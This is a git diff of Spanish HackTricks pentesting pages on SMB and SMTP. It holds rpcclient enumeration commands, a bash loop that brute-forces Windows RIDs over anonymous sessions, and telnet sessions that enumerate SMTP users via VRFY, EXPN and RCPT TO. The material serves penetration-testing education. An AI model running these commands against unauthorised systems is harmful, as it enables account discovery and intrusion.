Similar al SMB Trap, colocar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. Luego, el hash puede ser descifrado fuera de línea o utilizado en un [ataque de retransmisión SMB](pentesting-smb.md#smb-relay-attack).
|
||||
Similar al Trapping SMB, al colocar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) se puede provocar un intento de autenticación SMB, lo que permite interceptar el hash NetNTLMv2 con una herramienta como Responder. Luego, el hash se puede descifrar sin conexión o utilizar en un [ataque de retransmisión SMB](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[Ver: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
## Comandos Automáticos HackTricks
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
@ -541,10 +545,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,16 +5,16 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -25,88 +25,86 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
Un [Identificador Relativo (RID)](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) es un **identificador único** (representado en formato hexadecimal) utilizado por Windows para **rastrear e identificar objetos**. Para explicar cómo encaja esto, veamos los ejemplos a continuación:
|
||||
|
||||
* El [SID](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers) para el dominio NAME\_DOMAIN.LOCAL es: `S-1-5-21-1038751438-1834703946-36937684957`.
|
||||
* Cuando se crea un objeto dentro de un dominio, el número anterior (SID) se combinará con un RID para crear un valor único utilizado para representar el objeto.
|
||||
* Cuando se crea un objeto dentro de un dominio, el número anterior (SID) se combinará con un RID para hacer un valor único utilizado para representar el objeto.
|
||||
* Entonces, el usuario de dominio `john` con un RID:\[0x457] Hex 0x457 sería igual a decimal `1111`, tendrá un SID de usuario completo: `S-1-5-21-1038751438-1834703946-36937684957-1111`.
|
||||
* Esto es único para el objeto `john` en el dominio NAME\_DOMAIN.LOCAL y nunca verás este valor emparejado con otro objeto en este dominio o en cualquier otro.
|
||||
* Esto es único para el objeto `john` en el dominio NAME\_DOMAIN.LOCAL y nunca verás este valor emparejado atado a otro objeto en este dominio o en cualquier otro.
|
||||
|
||||
Definición de [**aquí**](https://academy.hackthebox.com/module/143/section/1269).
|
||||
|
||||
### **Enumeración con rpcclient**
|
||||
|
||||
**Esta sección fue extraída del libro "**_**Network Security Assesment 3rd Edition**_**"**
|
||||
La utilidad **`rpcclient`** de Samba se utiliza para interactuar con **puntos finales RPC a través de tuberías con nombre**. A continuación se muestran comandos que se pueden emitir a las interfaces SAMR, LSARPC y LSARPC-DS después de que se establece una **sesión SMB**, a menudo requiriendo credenciales.
|
||||
|
||||
Puedes utilizar la utilidad **`rpcclient`** de Samba para interactuar con **puntos finales de RPC a través de named pipes**. A continuación se enumeran los comandos que puedes utilizar en las interfaces SAMR, LSARPC y LSARPC-DS una vez que hayas establecido una sesión SMB (a menudo se requieren credenciales).
|
||||
#### Información del Servidor
|
||||
|
||||
#### Información del servidor
|
||||
* Para obtener la **Información del Servidor**: se utiliza el comando `srvinfo`.
|
||||
|
||||
* **Información del servidor**: `srvinfo`
|
||||
#### Enumeración de Usuarios
|
||||
|
||||
#### Enumeración de usuarios
|
||||
|
||||
* **Listar usuarios**: `querydispinfo` y `enumdomusers`
|
||||
* **Obtener detalles de usuario**: `queryuser <0xrid>`
|
||||
* **Obtener grupos de usuario**: `queryusergroups <0xrid>`
|
||||
* **Obtener SID de un usuario**: `lookupnames <username>`
|
||||
* **Obtener alias de usuarios**: `queryuseraliases [builtin|domain] <sid>`
|
||||
* Los **usuarios pueden ser listados** usando: `querydispinfo` y `enumdomusers`.
|
||||
* **Detalles de un usuario** mediante: `queryuser <0xrid>`.
|
||||
* **Grupos de un usuario** con: `queryusergroups <0xrid>`.
|
||||
* Se recupera el **SID de un usuario** a través de: `lookupnames <nombredeusuario>`.
|
||||
* **Alias de usuarios** mediante: `queryuseraliases [builtin|domain] <sid>`.
|
||||
```bash
|
||||
# Brute-Force users RIDs
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
rpcclient -N -U "" [IP_ADDRESS] -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";
|
||||
done
|
||||
|
||||
# You can also use samrdump.py for this purpose
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### Enumeración de grupos
|
||||
#### Enumeración de Grupos
|
||||
|
||||
* **Listar grupos**: `enumdomgroups`
|
||||
* **Obtener detalles de un grupo**: `querygroup <0xrid>`
|
||||
* **Obtener miembros de un grupo**: `querygroupmem <0xrid>`
|
||||
* **Grupos** mediante: `enumdomgroups`.
|
||||
* **Detalles de un grupo** con: `querygroup <0xrid>`.
|
||||
* **Miembros de un grupo** a través de: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Enumeración de grupos de alias
|
||||
#### Enumeración de Grupos de Alias
|
||||
|
||||
* **Listar alias**: `enumalsgroups <builtin|domain>`
|
||||
* **Obtener miembros**: `queryaliasmem builtin|domain <0xrid>`
|
||||
* **Grupos de alias** con: `enumalsgroups <builtin|domain>`.
|
||||
* **Miembros de un grupo de alias** con: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Enumeración de dominios
|
||||
#### Enumeración de Dominios
|
||||
|
||||
* **Listar dominios**: `enumdomains`
|
||||
* **Obtener SID**: `lsaquery`
|
||||
* **Información del dominio**: `querydominfo`
|
||||
* **Dominios** usando: `enumdomains`.
|
||||
* **Se recupera el SID de un dominio** mediante: `lsaquery`.
|
||||
* **Se obtiene información del dominio** con: `querydominfo`.
|
||||
|
||||
#### Enumeración de recursos compartidos
|
||||
#### Enumeración de Comparticiones
|
||||
|
||||
* **Enumerar todos los recursos compartidos disponibles**: `netshareenumall`
|
||||
* **Información sobre un recurso compartido**: `netsharegetinfo <share>`
|
||||
* **Todas las comparticiones disponibles** con: `netshareenumall`.
|
||||
* **Se obtiene información sobre una compartición específica** con: `netsharegetinfo <share>`.
|
||||
|
||||
#### Más SID
|
||||
#### Operaciones Adicionales con SIDs
|
||||
|
||||
* **Encontrar SID por nombre**: `lookupnames <username>`
|
||||
* **Encontrar más SID**: `lsaenumsid`
|
||||
* **Ciclo de RID (ver más SID)**: `lookupsids <sid>`
|
||||
* **SIDs por nombre** usando: `lookupnames <username>`.
|
||||
* **Más SIDs** a través de: `lsaenumsid`.
|
||||
* **Ciclado de RID para verificar más SIDs** se realiza con: `lookupsids <sid>`.
|
||||
|
||||
#### **Comandos adicionales**
|
||||
|
||||
| **Comando** | **Interfaz** | **Descripción** |
|
||||
| **Comando** | **Interfaz** | **Descripción** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | Obtener información de usuario |
|
||||
| querygroup | Obtener información de grupo | |
|
||||
| querydominfo | Obtener información de dominio | |
|
||||
| queryuser | SAMR | Recuperar información de usuario |
|
||||
| querygroup | Recuperar información de grupo | |
|
||||
| querydominfo | Recuperar información de dominio | |
|
||||
| enumdomusers | Enumerar usuarios de dominio | |
|
||||
| enumdomgroups | Enumerar grupos de dominio | |
|
||||
| createdomuser | Crear un usuario de dominio | |
|
||||
| deletedomuser | Eliminar un usuario de dominio | |
|
||||
| lookupnames | LSARPC | Buscar nombres de usuario para valores SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Buscar SID para nombres de usuario (ciclo de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lookupsids | Buscar SIDs para nombres de usuario (ciclado de RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Agregar derechos a una cuenta de usuario | |
|
||||
| lsaremoveacctrights | Eliminar derechos de una cuenta de usuario | |
|
||||
| dsroledominfo | LSARPC-DS | Obtener información del dominio principal |
|
||||
| dsenumdomtrusts | Enumerar dominios de confianza dentro de un bosque de AD | |
|
||||
|
||||
Para **comprender** mejor cómo funcionan las herramientas _**samrdump**_ **y** _**rpcdump**_, debes leer [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
Para **comprender** mejor cómo funcionan las herramientas _**samrdump**_ **y** _**rpcdump**_ debes leer [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -115,10 +113,10 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [grupo de telegram](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,49 +2,49 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Información Básica**
|
||||
|
||||
**SMTP (Simple Mail Transfer Protocol)** es un protocolo de TCP/IP utilizado en el **envío** y la recepción de **correo electrónico**. Sin embargo, dado que es limitado en su capacidad para encolar mensajes en el extremo receptor, generalmente se utiliza con uno de dos otros protocolos, POP3 o IMAP, que permiten al usuario guardar mensajes en un buzón del servidor y descargarlos periódicamente desde el servidor.
|
||||
**SMTP (Simple Mail Transfer Protocol)** es un protocolo TCP/IP utilizado para **enviar** y recibir **correos electrónicos**. Sin embargo, dado que es limitado en su capacidad para encolar mensajes en el extremo receptor, generalmente se utiliza con uno de otros dos protocolos, POP3 o IMAP, que permiten al usuario guardar mensajes en un buzón de servidor y descargarlos periódicamente desde el servidor.
|
||||
|
||||
En otras palabras, **los usuarios típicamente utilizan** un programa que usa **SMTP para enviar correo electrónico** y ya sea **POP3 o IMAP para recibir** correo electrónico. En sistemas basados en Unix, **sendmail** es el servidor SMTP más utilizado para correo electrónico. Un paquete comercial, Sendmail, incluye un servidor POP3. **Microsoft Exchange** incluye un servidor SMTP y también puede configurarse para incluir soporte POP3.\
|
||||
De [aquí](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
|
||||
En otras palabras, **los usuarios suelen utilizar** un programa que utiliza **SMTP para enviar correos electrónicos** y ya sea **POP3 o IMAP para recibir** correos electrónicos. En sistemas basados en Unix, **sendmail** es el servidor SMTP más utilizado para correos electrónicos. Un paquete comercial, Sendmail, incluye un servidor POP3. **Microsoft Exchange** incluye un servidor SMTP y también se puede configurar para incluir soporte POP3.\
|
||||
Desde [aquí](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
|
||||
|
||||
**Puerto predeterminado:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
|
||||
```
|
||||
### Encabezados de EMAIL
|
||||
### Cabeceras de Correo Electrónico
|
||||
|
||||
Si tienes la oportunidad de **hacer que la víctima te envíe un email** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima viendo los encabezados del correo.
|
||||
Si tienes la oportunidad de **hacer que la víctima te envíe un correo electrónico** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima al ver las cabeceras del correo.
|
||||
|
||||
También puedes obtener un correo de un servidor SMTP intentando **enviar a ese servidor un correo a una dirección inexistente** (porque el servidor enviará al atacante un correo de NDN). Pero, asegúrate de enviar el correo desde una dirección permitida (verifica la política de SPF) y de que puedes recibir mensajes NDN.
|
||||
También puedes obtener un correo electrónico de un servidor SMTP intentando **enviar a ese servidor un correo electrónico a una dirección inexistente** (porque el servidor enviará al atacante un correo NDN). Pero asegúrate de enviar el correo desde una dirección permitida (verifica la política SPF) y de que puedas recibir mensajes NDN.
|
||||
|
||||
También deberías intentar **enviar diferentes contenidos porque puedes encontrar información más interesante** en los encabezados como: `X-Virus-Scanned: by av.domain.com`\
|
||||
También deberías intentar **enviar diferentes contenidos porque puedes encontrar información más interesante** en las cabeceras como: `X-Virus-Scanned: by av.domain.com`\
|
||||
Deberías enviar el archivo de prueba EICAR.\
|
||||
Detectar el **AV** puede permitirte explotar **vulnerabilidades conocidas.**
|
||||
|
||||
## Acciones básicas
|
||||
## Acciones Básicas
|
||||
|
||||
### **Banner Grabbing/Conexión básica**
|
||||
### **Obtención de Banner/Conexión Básica**
|
||||
|
||||
**SMTP:**
|
||||
```bash
|
||||
|
@ -64,9 +64,9 @@ dig +short mx google.com
|
|||
nmap -p25 --script smtp-commands 10.10.10.10
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
### Autenticación NTLM - Divulgación de información
|
||||
### NTLM Auth - Divulgación de información
|
||||
|
||||
Si el servidor soporta autenticación NTLM (Windows), puedes obtener información sensible (versiones). Más información [**aquí**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
Si el servidor admite la autenticación NTLM (Windows) puedes obtener información sensible (versiones). Más información [**aquí**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666).
|
||||
```bash
|
||||
root@kali: telnet example.com 587
|
||||
220 example.com SMTP Server Banner
|
||||
|
@ -102,9 +102,9 @@ MAIL FROM: me
|
|||
```
|
||||
### Sniffing
|
||||
|
||||
Comprueba si puedes capturar alguna contraseña de los paquetes al puerto 25
|
||||
Verifique si puede detectar alguna contraseña de los paquetes al puerto 25
|
||||
|
||||
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
### [Ataque de fuerza bruta de autenticación](../../generic-methodologies-and-resources/brute-force.md#smtp)
|
||||
|
||||
## Enumeración de Fuerza Bruta de Nombre de Usuario
|
||||
|
||||
|
@ -112,15 +112,15 @@ Comprueba si puedes capturar alguna contraseña de los paquetes al puerto 25
|
|||
|
||||
### RCPT TO
|
||||
```bash
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
MAIL FROM:test@test.org
|
||||
250 2.1.0 test@test.org... Sender ok
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
MAIL FROM:example@domain.com
|
||||
250 2.1.0 example@domain.com... Sender ok
|
||||
RCPT TO:test
|
||||
550 5.1.1 test... User unknown
|
||||
RCPT TO:admin
|
||||
|
@ -129,26 +129,30 @@ RCPT TO:ed
|
|||
250 2.1.5 ed... Recipient ok
|
||||
```
|
||||
### VRFY
|
||||
```
|
||||
$ telnet 10.0.0.1 25
|
||||
Trying 10.0.0.1...
|
||||
Connected to 10.0.0.1.
|
||||
|
||||
VRFY es un comando SMTP que se utiliza para verificar si una dirección de correo electrónico es válida en un servidor de correo. Este comando puede ser utilizado por un atacante para recopilar información sobre posibles direcciones de correo electrónico válidas en un dominio, lo que podría ser utilizado en ataques de ingeniería social o de phishing. Es importante deshabilitar el comando VRFY en servidores de correo para evitar esta vulnerabilidad.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
501 HELO requires domain address
|
||||
HELO x
|
||||
250 myhost Hello [10.0.0.99], pleased to meet you
|
||||
250 myhost Hello 18.28.38.48, pleased to meet you
|
||||
VRFY root
|
||||
250 Super-User <root@myhost>
|
||||
250 Super-User root@myhost
|
||||
VRFY blah
|
||||
550 blah... User unknown
|
||||
```
|
||||
### EXPN
|
||||
```
|
||||
$ telnet 10.0.10.1 25
|
||||
Trying 10.0.10.1...
|
||||
Connected to 10.0.10.1.
|
||||
|
||||
El comando `EXPN` se utiliza para expandir una lista de correo en un servidor SMTP. Esto puede revelar direcciones de correo electrónico válidas que pueden ser útiles para los atacantes en campañas de phishing u otros ataques. Es importante deshabilitar esta funcionalidad en un servidor SMTP para evitar exponer información sensible.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
Connected to 1.1.1.1.
|
||||
Escape character is '^]'.
|
||||
220 myhost ESMTP Sendmail 8.9.3
|
||||
HELO
|
||||
|
@ -157,12 +161,10 @@ HELO x
|
|||
EXPN test
|
||||
550 5.1.1 test... User unknown
|
||||
EXPN root
|
||||
250 2.1.5 <ed.williams@myhost>
|
||||
250 2.1.5 ed.williams@myhost
|
||||
EXPN sshd
|
||||
250 2.1.5 sshd privsep <sshd@mail2>
|
||||
250 2.1.5 sshd privsep sshd@myhost
|
||||
```
|
||||
Extraído de: [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
|
||||
### Herramientas automáticas
|
||||
```
|
||||
Metasploit: auxiliary/scanner/smtp/smtp_enum
|
||||
|
@ -171,17 +173,17 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles tiempo para investigar más a fondo, obtener shells y divertirse.
|
||||
